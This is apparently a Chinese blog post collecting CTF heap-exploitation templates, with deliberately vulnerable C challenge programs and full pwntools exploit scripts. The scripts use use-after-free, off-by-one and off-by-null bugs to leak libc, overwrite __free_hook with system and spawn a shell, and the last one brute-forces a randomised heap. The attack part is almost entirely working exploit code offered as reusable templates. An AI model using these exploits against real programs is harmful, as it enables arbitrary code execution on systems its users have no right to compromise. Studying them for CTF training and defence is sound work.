pwn题常见堆利用总结

这里记录一些ctf中堆pwn的板子,总结学习

UAF打掉tcache拿libc

//uaf
#include<stdio.h>
#include<stdlib.h>
char *heap[0x20];
int num=0;
void create()
{
    if(num>=0x20)
    {
        puts("no more");
        return;
    }
    int size;
    puts("how big");
    scanf("%d",&size);
    if(size>=0x20)
    {
        puts("no more");
        return;
    }
    heap[num]=(char *)malloc(size);
    num++;
}
void show(){
    int i;
  int idx;
  char buf[4];
  puts("idx");
    (read(0, buf, 4));
    idx = atoi(buf);
  if (!heap[idx]) {
    puts("no hvae things\n");
  } else {
    printf("Content:");
    printf("%s",heap[idx]);
  }
}
void dele()
{
    int i;
  int idx;
  char buf[4];
  puts("idx");
    (read(0, buf, 4));
    idx = atoi(buf);
  if (!heap[idx]) {
    puts("no hvae things\n");
  } else {
      free(heap[idx]);
      num--;
  }
}
void edit()
{
    int size;
    int i;
  int idx;
  char buf[4];
  puts("idx");
    (read(0, buf, 4));
    idx = atoi(buf);
  if (!heap[idx]) {
    puts("no hvae things\n");
  } else {
      puts("how big u read");
      scanf("%d",&size);
      if(size>0x20)
      {
          puts("too more");
          return;
      }
      puts("Content:");
      read(0,heap[idx],size);
  }
}
void menu(void){
    puts("1.create");
    puts("2.dele");
    puts("3.edit");
    puts("4.show");
}
void main()
{
    int choice;
    while(1)
    {
        menu();
        scanf("%d",&choice);
        switch(choice)
        {
            case 1:create();break;
            case 2:dele();break;
            case 3:edit();break;
            case 4:show();break;
            default:puts("error");
        }
    }
}

EXP

from pwn import *
r=process('./uaf')
elf = ELF("uaf")
libc=elf.libc
# context.log_level='debug'
def add(size):
    r.sendlineafter("4.show\n",'1')
    r.sendlineafter("how big\n",str(size))

def dele(idx):
    r.sendlineafter("4.show\n",'2')
    r.sendlineafter("idx\n",str(idx))

def edit(idx,size,con):
    r.sendlineafter("4.show\n",'3')
    r.sendlineafter("idx\n",str(idx))
    r.sendlineafter("how big u read\n",str(size))
    r.sendafter("Content:\n",con)
def show(idx):
    r.sendlineafter("4.show\n",'4')
    r.sendlineafter("idx\n",str(idx))

def dbg():
    gdb.attach(r)
    pause()
for i in range(7):
    add(0x10)
# 拿堆地址
dele(0)
dele(1)
show(1)
r.recvuntil("Content:")
heap=u64(r.recv(6)+'\x00'*2)-0x001680+0x10
print(hex(heap))
# 申请到tcache管理空间,同时恢复tcache结构体功能,保持0x20堆块正常运行
edit(0,0x10,p64(heap))
add(0x10)
add(0x10)
add(0x10)
add(0x10)
add(0x10)
edit(7,0x20,p64(0)*4) # 7即tcache结构体
# 利用uaf申请到tcache结构题内管理0x250堆块的部分
dele(5)# 5-1
edit(5,0x10,p64(heap+0x20))
add(0x10)
add(0x10)
edit(10,0x20,p64(0x0000000007000000))
dele(7)
# 打到unsortbin后切割获取libc
add(0x10)
show(10)
r.recvuntil("Content:")
base=u64(r.recv(6)+'\x00'*2)-0x3ebee0
print(hex(base))
free=base+libc.sym['__free_hook']
sys=base+libc.sym['system']
# 恢复一下结构体,进行最后的uaf利用
edit(10,0x20,p64(0)*4)
dele(10)
edit(10,0x20,p64(free))
add(0x10)
add(0x10)
edit(11,0x10,p64(sys))
edit(10,0x10,"/bin/sh\x00")
dele(10)
r.interactive()

小溢出堆叠(offbyone/向下合并/万用合并)

#include<stdio.h>
#include <math.h>
#include <stdio.h>
#include<unistd.h>
#include <dirent.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/prctl.h>
#include <linux/filter.h>
#include <linux/seccomp.h>
void sandbox(){
    struct sock_filter filter[] = {
    BPF_STMT(BPF_LD+BPF_W+BPF_ABS,4),
    BPF_JUMP(BPF_JMP+BPF_JEQ,0xc000003e,0,2),
    BPF_STMT(BPF_LD+BPF_W+BPF_ABS,0),
    BPF_JUMP(BPF_JMP+BPF_JEQ,59,0,1),
    BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_KILL),
    BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_ALLOW),
    };
    struct sock_fprog prog = {
    .len = (unsigned short)(sizeof(filter)/sizeof(filter[0])),
    .filter = filter,
    };
    prctl(PR_SET_NO_NEW_PRIVS,1,0,0,0);
    prctl(PR_SET_SECCOMP,SECCOMP_MODE_FILTER,&prog);
}
int init()
{
    setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  return setvbuf(stderr, 0LL, 2, 0LL);
}
int num=0;
char *heaparray[0x10];
size_t realsize[0x10];
void create(){
    if(num>=0x20)
    {
        puts("no more");
        return;
    }
    int size;
    puts("Size of Heap : ");
    scanf("%d",&size);
    heaparray[num]=(char *)malloc(size);
    realsize[num]=size;
    num++;

    }
void show(){
    int idx ;
    char buf[4];
    printf("Index :\n");
    read(0,buf,4);//输入堆块的index
    idx = atoi(buf);
    if(idx < 0 || idx >= 0x10){
        puts("Out of bound!");
        _exit(0);
    }
    if(heaparray[idx]){//根据序列进行查找
        //打印指定堆块内容
        printf("Size : %ld\nContent : %s\n",realsize[idx],heaparray[idx]);
        puts("Done !");
    }else{
        puts("No such heap !");
    }
}
void edit(){
    int idx ;
    char buf[4];
    printf("Index :\n");
    read(0,buf,4);//输入堆的序列号
    idx = atoi(buf);
    if(idx < 0 || idx >= 0x10){//判断序列号的正确性
        puts("Out of bound!");
        _exit(0);
    }
  //若序列号正确
    if(heaparray[idx]){
        int size;
    puts("Size of Heap : ");
    scanf("%d",&size);
        printf("Content of heap : \n");
        read(0,heaparray[idx],size);
    //调用read_input函数输入堆的内容
        puts("Done !");
    }else{
        puts("No such heap !");
    }
}
void dele(){
    int idx ;
    char buf[4];
    printf("Index :\n");
    read(0,buf,4);//输入index
    idx = atoi(buf);
    if(idx < 0 || idx >= 0x10){//判断堆块序列的合法性
        puts("Out of bound!");
        _exit(0);
    }
    if(heaparray[idx]){
        free(heaparray[idx]);//free heaparray[idx]指针
        realsize[idx] = 0 ;
        heaparray[idx]=NULL;
        puts("Done !"); 
        num--;
    }else{
        puts("No such heap !");
    }
}
void menu(void){
    puts("1.create");
    puts("2.dele");
    puts("3.edit");
    puts("4.show");
}
void main()
{
    init();
    sandbox();
    int choice;
    while(1)
    {
        menu();
        scanf("%d",&choice);
        switch(choice)
        {
            case 1:create();break;
            case 2:dele();break;
            case 3:edit();break;
            case 4:show();break;
            default:puts("error");
        }
    }
}

EXP

from pwn import *
r=process('./zheap')
elf = ELF('zheap')
libc=elf.libc
context.log_level='debug'
def add(size):
    r.sendlineafter("4.show\n",'1')
    r.sendlineafter("Size of Heap : \n",str(size))

def dele(idx):
    r.sendlineafter("4.show\n",'2')
    r.sendlineafter("Index :\n",str(idx))

def edit(idx,con):
    r.sendlineafter("4.show\n",'3')
    r.sendlineafter("Index :\n",str(idx))
    r.sendafter("Content of heap : \n",con)
def show(idx):
    r.sendlineafter("4.show\n",'4')
    r.sendlineafter("Index :\n",str(idx))
def dbg():
    gdb.attach(r)
    pause()
# 9个0x80堆=0x480,填0x21自主合并
add(0x18)#0
add(0x78)#1
for i in range(10):
    add(0x78)
for i in range(2,10):
    edit(i,p64(0x21)*14)
edit(0,'a'*0x18+p64(0x421))
dele(1)
# 泄露完libc去找堆复用
add(0x18)
show(1)
r.recvuntil("Content : ")
leak=u64(r.recv(6)+'\x00'*2)
print(hex(leak))
base=leak-0x3ec090
sys=libc.sym['system']+base
free=libc.sym['__free_hook']+base
# 用vmmap看heap结构体存在堆复用
dele(1)
edit(11,p64(free))
add(0x18)
add(0x18)
edit(11,"/bin/sh")
edit(12,p64(sys))
dele(11)
r.interactive()

offbyone向下合并构造堆复用(malloc_consolidate拿libc)

题目漏洞就是edit的offbyone,数据输入用的scanf输入

from pwn import *
context.log_level = 'debug'
context.arch='amd64'
'''
0x4f3d5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rsp & 0xf == 0
  rcx == NULL

0x4f432 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a41c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
  '''
s       = lambda data               :p.send(data)
sa      = lambda text,data          :p.sendafter(text, str(data))
sl      = lambda data               :p.sendline(data)
sla     = lambda text,data          :p.sendlineafter(text, str(data))
r       = lambda num=4096           :p.recv(num)
ru      = lambda text               :p.recvuntil(text)
uu32    = lambda                    :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
uu64    = lambda                    :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
lg      = lambda name,data          :p.success(name + "-> 0x%x" % data)

p = process("bitflip")
elf = ELF('bitflip')
libc = elf.libc

def cmd(choice):
    sla('Your choice: ',choice)
def add(idx,size):
    cmd(1)
    sla('Index: ',idx)
    sla('Size: ',size)

def edit(idx,content):
    cmd(2)
    sla('Index: ',idx)
    p.sendlineafter(': ',content)

def show(idx):
    cmd(3)
    sla('Index: ',idx)

def delete(idx):
    cmd(4)
    sla('Index: ',idx)
def dbg():
    gdb.attach(p)
    pause()

for i in range(9):
    add(i,0x48)
for i in range(8):
    delete(i)

p.sendlineafter('Your choice: ','99999999'*0xf0)
for i in range(7):
    add(i,0x48)

add(7,0x48)
show(7)
p.recvuntil('Content: ')
libc_base = u64(p.recv(6)+'\x00'*2)-160-0x3EBC40
lg('libc_base',libc_base)
sys=libc.sym['system']+libc_base
free=libc.sym['__free_hook']+libc_base
for i in range(9,16):
    add(i,0x18)
for i in range(16,23):
    add(i,0x28)

add(23,0x18)
add(24,0x28)
add(25,0x18)
add(26,0x18)

for i in range(9,23):
    delete(i)
delete(25)
edit(23,'a'*0x18+'\x51')
delete(24)
add(27,0x48)
edit(27,p64(0x21)*6+p64(free-0x10))
for i in range(9,16):
    add(i,0x18)
add(24,0x18)
edit(24,'/bin/sh\x00')
add(25,0x18)
edit(25,p64(sys))
delete(24)

p.interactive()

大堆合并(offbynull/向前合并)

题目就是offbynull漏洞,一般可申请的堆都在0x100作业

EXP

from pwn import *
context.log_level = 'debug'
context.arch='amd64'

s       = lambda data               :p.send(data)
sa      = lambda text,data          :p.sendafter(text, str(data))
sl      = lambda data               :p.sendline(data)
sla     = lambda text,data          :p.sendlineafter(text, str(data))
r       = lambda num=4096           :p.recv(num)
ru      = lambda text               :p.recvuntil(text)
uu32    = lambda                    :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
uu64    = lambda                    :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
lg      = lambda name,data          :p.success(name + "-> 0x%x" % data)

p = process("old_school_revenge")
elf = ELF('old_school_revenge')
libc = elf.libc

def cmd(choice):
    sla('Your choice: ',choice)
def add(idx,size):
    cmd(1)
    sla('Index: ',idx)
    sla('Size: ',size)

def edit(idx,content):
    cmd(2)
    sla('Index: ',idx)
    p.sendlineafter(': ',content)

def show(idx):
    cmd(3)
    sla('Index: ',idx)

def delete(idx):
    cmd(4)
    sla('Index: ',idx)
def dbg():
    gdb.attach(p)
    pause()

for i in range(9):
    add(i,0x48)
for i in range(8):
    delete(i)

p.sendlineafter('Your choice: ','99999999'*0xf0)
for i in range(7):
    add(i,0x48)

add(7,0x48)
show(7)
p.recvuntil('Content: ')
libc_base = u64(p.recv(6)+'\x00'*2)-160-0x3EBC40
lg('libc_base',libc_base)
free=libc_base+libc.sym['__free_hook']
sys=libc_base+libc.sym['system']
# 前面是看到scanf输入直接抄板子梭哈了,获取到libc
for i in range(10,17):
    add(i,0xf8)
add(17,0xf8)
add(18,0x88)# edit中间这个chunk
add(19,0xf8)
add(20,0x88)
for i in range(10,17):
    delete(i)

delete(17)
edit(18,'a'*0x80+p64(0x190))
delete(19)
for i in range(10,17):
    add(i,0xf8)
add(21,0xf8)
add(22,0x88)
delete(18)
edit(22,p64(free))
add(23,0x88)
edit(23,'/bin/sh\x00')
add(24,0x88)
edit(24,p64(sys))
delete(23)
p.interactive()

大堆合并(offbynull在libc2.31/2.29下的利用)

题目限制堆数量10个,for循环编号赋予
基本上无size限制,仅有offbynull漏洞,libc-2.31

思路

伪造出一个chunk,使其能够绕过这两个检测。
一个是向低地值合并的检测:

if (__glibc_unlikely (chunksize(p) != prevsize))
    malloc_printerr ("corrupted size vs. prev_size while consolidating");

另一个就是unlink时候的检测

if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
    malloc_printerr (check_action, "corrupted double-linked list", P, AV);
image.png

EXP

from pwn import *
context.log_level = 'debug'

s       = lambda data               :p.send(data)
sa      = lambda text,data          :p.sendafter(text, str(data))
sl      = lambda data               :p.sendline(data)
sla     = lambda text,data          :p.sendlineafter(text, str(data))
r       = lambda num=4096           :p.recv(num)
ru      = lambda text               :p.recvuntil(text)
uu32    = lambda                    :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
uu64    = lambda                    :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
lg      = lambda name,data          :p.success(name + "-> 0x%x" % data)

p = process("bornote")
elf = ELF('bornote')
libc = elf.libc

def cmd(choice):
    sla("aaa's cmd: ",choice)

def add(size):
    cmd(1)
    sla('Size: ',size)

def edit(idx,content):
    cmd(3)
    sla('Index: ',idx)
    p.sendlineafter('Note: ',content)

def show(idx):
    cmd(4)
    sla('Index: ',idx)

def delete(idx):
    cmd(2)
    sla('Index: ',idx)

def dbg():
    gdb.attach(p)
    pause()
fakechunk = 0x00005561306c6f00
sla('username: ','aaa')
# 这里size最大最好别超过0x440,不然放进largebin时/不在同一个区间上
add(0x418) # 0 
add(0x128) # 1 # 最后绕过tcache个数检测,和最后利用堆复用的chunk一样大
add(0x418) # 2
add(0x438) # 3 
add(0x148) # 4
add(0x428) # 5 
add(0x138) # 6

# fakechunk 粘fd和bk
delete(0)
delete(3)
delete(5)

#设置fakechunk size位
delete(2) 
add(0x438)  # 0 
edit(0,'a' * 0x418 + p64(0xb01)[:7])
add(0x418)  # 2 
add(0x428)  # 3 
add(0x418)  # 5 

# 设置bk
delete(5)
delete(2)
add(0x418)  # 2 
edit(2,p64(0))
add(0x418)  # 5 

# 设置fd
delete(5)
delete(3)
add(0x5f8)# 3 # 置入largebin
add(0x428)# 5
edit(5,'')
add(0x418)# 7
add(0xf8)# 8

# 设置prevsize
edit(6,'a'*0x130+p64(0xb00))
delete(3)

add(0x10)# 3
show(7)
p.recvuntil("Note: ")
libc_base = u64(p.recv(6).ljust(8,'\x00'))- 0x1EBBE0
lg('libc_base',libc_base)
sys = libc_base + libc.sym["system"]
free_hook = libc_base + libc.sym["__free_hook"]
add(0x128)#9
delete(1)
delete(9)
edit(7,p64(free_hook))
add(0x128)# 1
add(0x128)# 9
edit(1,"/bin/sh\x00")
edit(9,p64(sys))
delete(1)

p.interactive()

爆破

思路

漏洞是UAF,但每次申请的size大小不可控,导致无法准确申请到想要的堆
尽量避免doublefree的申请,降低爆破次数

EXP

#coding=utf-8
from pwn import *
# context.log_level = 'debug'

s       = lambda data               :p.send(data)
sa      = lambda text,data          :p.sendafter(text, str(data))
sl      = lambda data               :p.sendline(data)
sla     = lambda text,data          :p.sendlineafter(text, str(data))
r       = lambda num=4096           :p.recv(num)
ru      = lambda text               :p.recvuntil(text)
uu32    = lambda                    :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
uu64    = lambda                    :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
lg      = lambda name,data          :p.success(name + "-> 0x%x" % data)
# p = process("random_heap")
elf = ELF('random_heap')
libc = elf.libc
def cmd(choice):
    sla("Your choice: ",choice)
def add(idx,size):
    cmd(1)
    sla("Index: ",idx)
    sla("Size: ",size)
def edit(idx,content):
    cmd(2)
    sla("Index: ",idx)
    p.sendafter("Content: ",content)
def show(idx):
    cmd(3)
    sla("Index: ",idx)
def delete(idx):
    cmd(4)
    sla("Index: ",idx)
def dbg():
    gdb.attach(p)
    pause()

def pwn():
    add(0,0xf8)
    add(1,0x88)
    edit(1,'/bin/sh\x00')
    # 拿堆地址
    delete(0)
    edit(0,'a'*0x10)
    delete(0)
    show(0)
    p.recvuntil("Content: ")
    heap=u64(p.recv(6)+'\x00'*2)-0x260
    lg('heap',heap)
    for i in range(6):
        edit(0,'a'*0x10)
        delete(0)
    show(0)
    p.recvuntil("Content: ")
    libc_base=u64(p.recv(6)+'\x00'*2)-96-0x3ebc40
    lg('libc_base',libc_base)
    free_hook = libc_base + libc.sym['__free_hook']
    system = libc_base + libc.sym['system']
    add(2,0x18)
    delete(2)
    edit(0,p64(free_hook)*2)
    delete(2)
    edit(0,p64(free_hook)*2)
    add(2,0x18)
    show(2)
    tmp = u64(((p.recvuntil("\x7f",timeout=0.4))[-6::]).ljust(8,'\x00'))
    if(tmp!=free_hook):
        exit()
    add(3,0x18)
    edit(3,p64(system))
    delete(1)
    p.sendline("cat flag")
    print p.recvuntil("}",timeout=0.4)

times = 0
while 1:
    try:
        p = process("./random_heap")
        pwn()
        p.interactive()
    except:
        times += 1
        print("="*8+str(times)+" times"+"="*8)
        p.close()
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 223,689评论 6 521
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 95,685评论 3 401
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 170,676评论 0 366
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 60,496评论 1 300
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 69,512评论 6 399
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 53,044评论 1 314
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 41,423评论 3 427
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 40,399评论 0 278
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 46,923评论 1 323
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 38,973评论 3 343
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 41,117评论 1 354
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 36,761评论 5 350
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 42,440评论 3 336
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 32,929评论 0 25
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 34,045评论 1 275
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 49,609评论 3 380
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 46,147评论 2 363

推荐阅读更多精彩内容

  • 题目地址:https://github.com/hacker-mao/ctf_repo/tree/master/%...
    2mpossible阅读 1,723评论 0 2
  • 0x00 前言 看神仙打架系列,题太多了,自己太菜了,还是只有沦落到赛后复现大佬们的Write Up的地步了,什么...
    Fish_o0O阅读 1,340评论 0 5
  • pwn1防御机制: 运行了下 ,发现是一个模拟聊天软件的程序,功能一共有 8个 通过ida分析程序,程序一开时就分...
    zs0zrc阅读 2,319评论 2 4
  • 前言 这次比赛的题量属实有点大, pwn题一共有12题. 不过部分题目也不是特别难. 然而我手速实在太慢了......
    pu1p阅读 3,514评论 1 1
  • 0x00 写在前面 最后一次参加国赛了额,无论队伍能否走到决赛,我都无缘参赛了,希望队伍能走的更远吧。这次国赛比起...
    Fish_o0O阅读 3,118评论 6 8